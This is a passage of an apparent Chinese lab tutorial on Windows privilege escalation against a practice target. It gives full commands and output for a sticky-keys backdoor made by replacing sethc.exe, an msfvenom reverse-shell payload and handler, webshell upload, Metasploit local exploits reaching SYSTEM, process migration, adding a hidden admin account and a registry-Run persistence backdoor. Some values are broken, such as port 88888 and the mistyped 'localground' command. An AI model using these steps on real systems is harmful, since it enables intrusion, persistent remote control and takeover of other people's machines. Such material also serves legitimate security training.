在2003系统中,FileZilla 服务器是以系统权限启动的,可以修改默认的位置为 C 盘根目录

image-20210717214704879

9.2.4 创建 shift 后门

使用创建的 ftp user 登录到靶机

image-20210717215151241

通过 ftp 客户端,将 cmd.exe 改名为 sethc.exe,并替换靶机的 C:\windows\system32\sethc.exe 生成 shift 后门

9.2.5 测试后门

mstsc 连接 3389 按 5 次 shift 调出 cmd.exe

10 MSF 中 Windows 提权完整流程

10.1 MSF 中 windows 提权模块

metasploit 提权EXP 存储文件夹路径 /usr/share/metasploit-framework/modules/exploits/windows/local/

ms14_058 内核模式驱动程序中的漏洞可能允许远程执行代码
exploit/windows/local/ms14_058_track_popup_menu

ms16_016 WebDAV本地提权漏洞(CVE-2016-0051)
exploit/windows/local/ms16_016_webdav

ms16_032 MS16-032 Secondary Logon Handle 本地提权漏漏洞
exploit/windows/local/ms16_032_secondary_logon_handle_privesc

10.2 利用 MSF 生成反向 shell payload

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.100.128 lport=8888 -f exe > 8888.exe

10.3 本地开启监听

msfconsole 
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.100.128
set lport 8888
exploit/run

10.4 上传 Payload

将生成的 Payload 通过 Webshell 上传到靶机的可执行目录中

通过 cmdshell 运行 payload,获得一个 NT AUTHORITY\NETWORK SERVICE 用户权限

image-20210718004009217

10.5 提权

System Commands

Command       Description
-------       -----------
clearev       Clear the event log
drop_token    Relinquishes any active impersonation token.
execute       Execute a command
getenv        Get one or more environment variable values
getpid        Get the current process identifier
getprivs      Attempt to enable all privileges available to the current process 尽可能提升权限
getsid        Get the SID of the user that the server is running as
getuid        Get the user that the server is running as 查看当前用户
kill          Terminate a process
localtime     Displays the target system local date and time
pgrep         Filter processes by name
pkill         Terminate processes by name
ps            List running processes 列出进程
reboot        Reboots the remote computer
reg           Modify and interact with the remote registry
rev2self      Calls RevertToSelf() on the remote machine
shell         Drop into a system command shell
shutdown      Shuts down the remote computer
steal_token   Attempts to steal an impersonation token from the target process
suspend       Suspends or resumes a list of processes
sysinfo       Gets information about the remote system, such as OS 查看系统信息
migrate       Migrate the server to another process 注入进程
getsystem     Attempt to elevate your privilege to that of local system. 通过各种攻击向量来提升本地系统权限

10.5.1 使用 getsystem 提权

由以下信息可知,提权失败

meterpreter > getsystem 
[-] priv_elevate_getsystem: Operation failed: This function is not supported on this system. The following was attempted:
[-] Named Pipe Impersonation (In Memory/Admin)
[-] Named Pipe Impersonation (Dropper/Admin)
[-] Token Duplication (In Memory/Admin)
[-] Named Pipe Impersonation (RPCSS variant)

10.5.2 使用模块进行提权

use exploit/windows/local/ms14_058_track_popup_menu
set session 3
msf6 exploit(windows/local/ms14_058_track_popup_menu) > run 

[*] Started reverse TCP handler on 192.168.100.128:4444 
[*] Launching notepad to host the exploit...
[+] Process 2388 launched.
[*] Reflectively injecting the exploit DLL into 2388...
[*] Injecting exploit into 2388...
[*] Sending stage (175174 bytes) to 192.168.100.131
[*] Exploit injected. Injecting payload into 2388...
[*] Payload injected. Executing exploit...
[*] Sending stage (175174 bytes) to 192.168.100.131
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Meterpreter session 4 opened (192.168.100.128:4444 -> 192.168.100.131:1105) at 2021-07-18 11:30:50 +0800
[*] Meterpreter session 5 opened (192.168.100.128:4444 -> 192.168.100.131:1107) at 2021-07-18 11:30:51 +0800
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
# 提权成功

10.5.3 migrate 注入进程

防止目标关闭 8888.exe 程序,最好将进程进行迁移

# 通过 ps 命令获取靶机的进程
ps

# 防止目标关闭 8888.exe 程序,将进程进行迁移,如迁移至 explorer.exe
meterpreter > migrate 2916
[*] Migrating from 192 to 2916...
[*] Migration completed successfully.

也可以在设置提权 exp 时,设置自动脚本进行自动迁移
set autorunscript migrate -n explorer.exe 

10.6 持久后门

内网渗透----常见后门_浅笑996的博客-CSDN博客

  • 利用漏洞取得的 metepreter 运行在内存中,重启失效
  • 重复 exploit 漏洞可能造成服务崩溃
  • 持久后门保证漏洞修复后仍可远程控制

10.6.1 增加管理员run exploit/windows/local/persistence

 net user test 123456 /add && net localground administrators test /add
 
# 在 kali 里面链接远程终端
rdesktop 192.168.100.131

10.6.2 persistence 后门

use exploit/windows/local/persistence
set session 6
# session 6 为已获得最高权限的 session
set delay 30
set lhost 192.168.100.128
set lport 88888
msf6 exploit(windows/local/persistence) > 
[*] Running persistent module against WINDOES-TARGET01 via session ID: 6
[!] Note: Current user is SYSTEM & STARTUP == USER. This user may not login often!
[+] Persistent VBS script written on WINDOES-TARGET01 to C:\WINDOWS\TEMP\bvifQmDbl.vbs
[*] Installing as HKCU\Software\Microsoft\Windows\CurrentVersion\Run\AZkTNi
[+] Installed autorun on WINDOES-TARGET01 as HKCU\Software\Microsoft\Windows\CurrentVersion\Run\AZkTNi
[*] Clean up Meterpreter RC file: /root/.msf4/logs/persistence/WINDOES-TARGET01_20210718.0646/WINDOES-TARGET01_20210718.0646.rc
posted @ 2021-11-04 10:44  f_carey  阅读(138)  评论(0编辑  收藏  举报  来源